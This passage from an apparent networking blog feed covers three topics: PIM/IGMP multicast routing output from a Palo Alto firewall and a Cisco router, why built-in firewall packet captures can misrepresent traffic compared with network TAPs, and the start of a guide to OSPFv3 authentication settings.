<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14081" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies-1024x245.png" alt="" width="604" height="145" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies-1024x245.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies-300x72.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies-768x184.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies-1536x368.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-06-Security-Policies.png 1862w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14082" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone-1024x394.png" alt="" width="604" height="232" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone-1024x394.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone-300x116.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone-768x296.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-07-Security-Policies-multicast-destination-zone.png 1353w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketfalcon-compact-packet-capture-appliance-bis-100gbps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketFalcon-Compact_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketFalcon-Compact_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon-Compact_Banner_DE_604x.png" /></a></div>
<h2>The Show</h2>
<p>The following screenshots and CLI outputs were taken while both receivers were consuming the stream. (Using the VLC media player with 
			<span id="urvanov-syntax-highlighter-69e487bfaa3a1280194830" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">udp://@239.23.11.10:1234</span></span>.)</p>

<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-08-Multicast-FIB.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-08-Multicast-FIB-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-09-Multicast-IGMP-Interface.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-09-Multicast-IGMP-Interface-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-10-Multicast-IGMP-Membership.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-10-Multicast-IGMP-Membership-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-11-Multicast-PIM-Group-Mapping.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-11-Multicast-PIM-Group-Mapping-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-12-Multicast-PIM-Interface.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-12-Multicast-PIM-Interface-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-13-Multicast-PIM-Neighbour.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-13-Multicast-PIM-Neighbour-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>

<p><strong>Session Browser</strong> during the stream: (the IGMP session was already gone)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14090" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser-1024x184.png" alt="" width="604" height="109" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser-1024x184.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser-300x54.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser-768x138.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser-1536x275.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-14-Session-Browser.png 2014w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p><strong>Traffic Log</strong> *after* the receivers stopped consuming the stream:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14091" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log-1024x147.png" alt="" width="604" height="87" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log-1024x147.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log-300x43.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log-768x110.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log-1536x221.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-15-Traffic-Log.png 1782w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Traffic Log for &#8220;pim&#8221;, in which router R3 contacted the RP:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14098" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM-1024x243.png" alt="" width="604" height="143" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM-1024x243.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM-300x71.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM-768x183.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM-1536x365.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-16-Traffic-Log-PIM.png 1939w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Almost the same via the CLI show commands. One note, though: <strong>The 
			<span id="urvanov-syntax-highlighter-69e487bfaa3a2112426125" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">show advanced-routing multicast pim state</span></span> command is the only one that gives an output comparable to that from the Cisco world. E.g., only this one lists the Rendezvous Point for the (*,G) groups.</strong></p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@pa-lab&gt; show advanced-routing multicast pim neighbor

Logical router: default

Interface                               Neighbor                 Uptime    Holdtime  Generation ID       DR Pri
ethernet1/1                             192.168.3.99             44:59:56  00:01:26  1170265741          1
ethernet1/5.131                         10.23.1.2                44:59:56  00:01:44  3086112133          1


weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt; show advanced-routing multicast igmp membership group 239.23.11.10

Logical router: default

Interface                               Address             Group               Source              Mode      Timer          Src  V    Uptime    Static
ethernet1/5.51                          192.168.51.1        239.23.11.10        *                   EXCLUDE   00:02:15       1    3    00:10:35  False
Total (Interface, Groups): 1


weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt; show advanced-routing multicast route group 239.23.11.10

Flags: S - Sparse, C - Connected, P - Pruned, M - SSM, R - SGRpt Pruned, F - FHR flag, T - SPT-bit set

Logical router: default

group          source              flags     Proto     incoming            outgoing            TTL  Uptime
239.23.11.10   *                   SC        IGMP      ethernet1/1         ethernet1/5.51      1    00:11:04
                                             PIM                           ethernet1/5.131     1    00:09:16
239.23.11.10   192.168.124.12      ST        IGMP      ethernet1/1         ethernet1/5.51      1    00:11:04
                                             PIM                           ethernet1/5.131     1    00:09:16
total route shown: 2


weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt; show advanced-routing multicast fib group 239.23.11.10

Logical Router:  default

maximum of mfib entries for this mfib:  275
number of mfib entries for this mfib:   3
number of mfib entries shown:           2

group            source           flags  incoming             outgoing
-----            ------           -----  --------             --------
239.23.11.10     0.0.0.0          1      ethernet1/1          ethernet1/5.131
                                                              ethernet1/5.51
239.23.11.10     192.168.124.12   2      ethernet1/1          ethernet1/5.131
                                                              ethernet1/5.51


weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt;
weberjoh@pa-lab&gt; show advanced-routing multicast pim state group 239.23.11.10

Logical router: default

(*, G):

group               RP                  up time   upstream join  join timer     RPF interface                           RPF next hop

239.23.11.10        10.0.0.1            00:11:41  Joined         00:00:20       ethernet1/1                             192.168.3.99/32

    oil interface                           local membership    join/prune          join expire timer   prune pending timer assert st           assert timer        assert winner addr  assert winner metric
    ethernet1/5.51      LOCAL               NOINFO              --:--               --:--               NOINFO              --:--               0.0.0.0             infinity

    ethernet1/5.131     NOINFO              JOIN                02:42               --:--               NOINFO              --:--               0.0.0.0             infinity

    pimreg              N/A                 JOIN                02:42               --:--               NOINFO              --:--               0.0.0.0             infinity

(S, G):

group               source              up time   upstream nbr        upstream join  join timer     RPF next hop        DR reg    DR reg stop timer   SPT

239.23.11.10        192.168.124.12      00:11:41  192.168.3.99        Joined         00:00:20       192.168.3.99/32     RegNoInfo --:--:--            False

    oil interface                           local membership    join/prune          join expire timer   prune pending timer assert st           assert timer        assert winner addr  assert winner metric
    ethernet1/5.131     NOINFO              JOIN                02:41               --:--               NOINFO              --:--               0.0.0.0             infinity


weberjoh@pa-lab&gt;</pre><p>
Finally, this is how R3 looked like during the session:</p><pre class="urvanov-syntax-highlighter-plain-tag">R3#show ip pim neighbor
PIM Neighbor Table
Mode: B - Bidir Capable, DR - Designated Router, N - Default DR Priority,
      P - Proxy Capable, S - State Refresh Capable, G - GenID Capable
Neighbor          Interface                Uptime/Expires    Ver   DR
Address                                                            Prio/Mode
10.23.1.1         FastEthernet0/0          1d21h/00:01:39    v2    1 / G
R3#
R3#
R3#show ip mroute 239.23.11.10
IP Multicast Routing Table
Flags: D - Dense, S - Sparse, B - Bidir Group, s - SSM Group, C - Connected,
       L - Local, P - Pruned, R - RP-bit set, F - Register flag,
       T - SPT-bit set, J - Join SPT, M - MSDP created entry, E - Extranet,
       X - Proxy Join Timer Running, A - Candidate for MSDP Advertisement,
       U - URD, I - Received Source Specific Host Report,
       Z - Multicast Tunnel, z - MDT-data group sender,
       Y - Joined MDT-data group, y - Sending to MDT-data group,
       V - RD &amp; Vector, v - Vector
Outgoing interface flags: H - Hardware switched, A - Assert winner
 Timers: Uptime/Expires
 Interface state: Interface, Next-Hop or VCD, State/Mode

(*, 239.23.11.10), 01:19:52/stopped, RP 10.0.0.1, flags: SJC
  Incoming interface: FastEthernet0/0, RPF nbr 10.23.1.1
  Outgoing interface list:
    FastEthernet0/1.132, Forward/Sparse, 00:10:13/00:01:56

(192.168.124.12, 239.23.11.10), 01:19:51/00:02:34, flags: JT
  Incoming interface: FastEthernet0/0, RPF nbr 10.23.1.1
  Outgoing interface list:
    FastEthernet0/1.132, Forward/Sparse, 00:10:13/00:01:56

R3#
R3#
R3#show ip igmp groups 239.23.11.10
IGMP Connected Group Membership
Group Address    Interface                Uptime    Expires   Last Reporter   Group Accounted
239.23.11.10     FastEthernet0/1.132      00:10:33  00:02:42  192.168.132.11
R3#</pre><p>
<h2>The End</h2>
<p>Uff. ;) That&#8217;s it for now. Of course, you can configure other scenarios, such as setting the Rendezvous Point on the Palo itself or using filters for various settings. But not for me this time.</p>
<p>Soli Deo Gloria!</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketraven-hardened-portable-netzwerk-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_604x.png" /></a></div>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@junscythe?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Jeanson Wong</a> on <a href="https://unsplash.com/photos/lights-on-road-YRn96vHg5b8?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/multicast-routing-w-palo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14037</post-id>	</item>
		<item>
		<title>Don&#8217;t Trust Packet Captures on Firewalls</title>
		<link>https://weberblog.net/dont-trust-packet-captures-on-firewalls/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dont-trust-packet-captures-on-firewalls</link>
					<comments>https://weberblog.net/dont-trust-packet-captures-on-firewalls/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Wed, 18 Feb 2026 10:39:13 +0000</pubDate>
				<category><![CDATA[Packet Capture]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[ProfiShark]]></category>
		<category><![CDATA[TAP]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14001</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />The other day, I was troubleshooting some network-related stuff, using the built-in Packet Capture on a Palo Alto Networks firewall. And while it did the job at a first glance, I stumbled upon some packets that were simply not correct, read: were not present on the Ethernet cable at all and/or were missing some content. &#8230; <a href="https://weberblog.net/dont-trust-packet-captures-on-firewalls/" class="more-link">Continue reading <span class="screen-reader-text">Don&#8217;t Trust Packet Captures on Firewalls</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/Dont-Trust-Packet-Captures-on-Firewalls-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>The other day, I was troubleshooting some network-related stuff, using the built-in Packet Capture on a Palo Alto Networks firewall. And while it did the job at a first glance, <strong>I stumbled upon some packets that were simply not correct, read: were not present on the Ethernet cable at all and/or were missing some content</strong>.</p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">This proves again what the TAP vendors always claim: <strong>Don&#8217;t use internal packet captures / SPAN ports at all when you&#8217;re really serious about the truth. You MUST use network TAPs!</strong></div></div>
<p><span id="more-14001"></span></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/network-packet-broker-packetlion" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png" /></a></div>
<p>Let&#8217;s have a short look. I was configuring <a href="https://weberblog.net/ospfv3-authentication-on-a-palo-alto-logical-router/">OSPFv3 with authentication between a Palo NGFW and a Cisco router</a>. I wanted to validate those authentication headers (IPsec AH) with the usage of a packet capture and Wireshark. Hence, I captured on the Palo itself, filtering on the ingress interface, at all four stages. Later on, I added a real TAP, my <a href="https://weberblog.net/my-network-companion-the-profishark/">ProfiShark from Profitap</a>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14008" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Packet-Capture-and-TAP-1024x708.png" alt="" width="604" height="418" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Packet-Capture-and-TAP-1024x708.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Packet-Capture-and-TAP-300x207.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Packet-Capture-and-TAP-768x531.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Packet-Capture-and-TAP.png 1188w" sizes="auto, (max-width: 604px) 100vw, 604px" /></p>
<p>The interesting part is: The receive stage (rx) showed OSPFv3 packets originated and sent by the Palo firewall itself (why in the rx stage?), missing the auth header that was present in the transmit stage! That is, there are two failures in this capture: <strong>Outgoing packets are captured in the rx stage</strong> (in other words: I would think that this packet was actually *received* by the firewall), and furthermore, <strong>those packets were NOT exactly those that were present on the tx stage at all</strong>. Here&#8217;s my side-by-side comparison of the RX/TX/TAP captures:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14009" src="https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-1024x552.png" alt="" width="604" height="326" srcset="https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-1024x552.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-300x162.png 300w, https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-768x414.png 768w, https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-1536x828.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/3x-Wireshark-Palo-rxtx-and-ProfiShark-TAP-OSPFv3-Auth-Header-2048x1104.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Q.E.D.</p>
<p>Is this intentional? Well, concerning the &#8220;receive stage&#8221;, the docs read: &#8220;When the packet is received on the dataplane processor.&#8221; Maybe those OSPFv3 packets are forwarded/transmitted/received internally from the control plane to the dataplane, so that they appear in the receive stage? Even with an &#8220;ingress interface&#8221; set as the capture filter.</p>
<p>(By the way: neither the drop nor the firewall stage showed any of those OSPFv3 packets. But that&#8217;s correct to my mind, since they aren&#8217;t dropped nor passing the firewall policies.)</p>
<div class="su-note"  style="border-color:#d88a59;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#f2a473;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">This proves that you&#8217;re getting something different from what you expected when using the built-in capture capabilities of network devices. That is: <strong>TAPs are a MUST!</strong></div></div>
<p>Well-known TAP vendors are <a href="https://neoxnetworks.com/network-traffic-tapping" target="_blank" rel="noopener">NEOX NETWORKS</a> or <a href="https://www.profitap.com/traffic-access/" target="_blank" rel="noopener">Profitap</a>, for example.</p>
<p>Don’t get me wrong. Packet captures on firewalls offer a quick and easy way to get an initial look at packets. In many cases, they are fully sufficient for troubleshooting layer 7 packets that simply pass <em>through</em> the firewall, where you just want to inspect the contents of a DNS query, for example.</p>
<p>However, as soon as you’re dealing with packets that are generated or modified <em>by</em> the firewall itself (routing protocols, NAT, IPsec, TLS interception, etc.), <strong>you can’t fully rely on these built-in packet captures</strong>. Unfortunately, this is exactly what happens regularly &#8211; to me as well.</p>
<p>For further reading, please consult at least parts 4 and 5 of <a href="https://www.linkedin.com/in/jasper-bongertz-9776a41/" target="_blank" rel="noopener">Jasper</a>&#8216;s <strong>Network Capture Playbook</strong>: <a href="https://blog.packet-foo.com/2016/11/the-network-capture-playbook-part-4-span-port-in-depth/" target="_blank" rel="noopener">SPAN Port In-Depth</a> and <a href="https://blog.packet-foo.com/2016/12/the-network-capture-playbook-part-5-network-tap-basics/" target="_blank" rel="noopener">TAP Basics</a>.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@thirtyspoke?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Ronda Dorsey</a> on <a href="https://unsplash.com/photos/trust-spelled-with-wooden-letter-blocks-on-a-table-ZoVR7mPHMGo?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/dont-trust-packet-captures-on-firewalls/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14001</post-id>	</item>
		<item>
		<title>OSPFv3 Authentication on a Palo Alto (Logical Router)</title>
		<link>https://weberblog.net/ospfv3-authentication-on-a-palo-alto-logical-router/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ospfv3-authentication-on-a-palo-alto-logical-router</link>
					<comments>https://weberblog.net/ospfv3-authentication-on-a-palo-alto-logical-router/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Thu, 05 Feb 2026 10:37:43 +0000</pubDate>
				<category><![CDATA[Authentication]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Routing]]></category>
		<category><![CDATA[AH]]></category>
		<category><![CDATA[OSPFv3]]></category>
		<category><![CDATA[SHA-1]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13984</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />I had a hard time figuring out how to configure OSPFv3 authentication on a Palo Alto Networks NGFW due to its different configuration formats compared to a Cisco router. TL;DR: The SPI must be set in hexadecimal, while the actual key (40 chars, hexadecimal) must be grouped in 5 sections, separated with hyphens. Talking about &#8230; <a href="https://weberblog.net/ospfv3-authentication-on-a-palo-alto-logical-router/" class="more-link">Continue reading <span class="screen-reader-text">OSPFv3 Authentication on a Palo Alto (Logical Router)</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/OSPFv3-Authentication-on-a-Palo-Alto-Logical-Router-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>I had a hard time figuring out how to configure <strong>OSPFv3 authentication on a Palo Alto Networks NGFW</strong> due to its different configuration formats compared to a Cisco router.</p>
<p>TL;DR: <strong>The SPI must be set in hexadecimal, while the actual key (40 chars, hexadecimal) must be grouped in 5 sections, separated with hyphens.</strong></p>
<p><span id="more-13984"></span></p>
<p>Talking about <a href="https://weberblog.net/ospfv3-with-ipsec-authentication/">Cisco&#8217;s IOS, OSPFv3 authentication is set at the interface configuration level with the following command</a>:</p><pre class="urvanov-syntax-highlighter-plain-tag">ipv6 ospf authentication ipsec spi &lt;256-4294967295&gt; sha1 &lt;hey-string 40 chars&gt;</pre><p>
e.g.:</p><pre class="urvanov-syntax-highlighter-plain-tag">ipv6 ospf authentication ipsec spi 305419896 sha1 CC41D07E889B5D610FAE78E88E88C559E45D1021</pre><p>
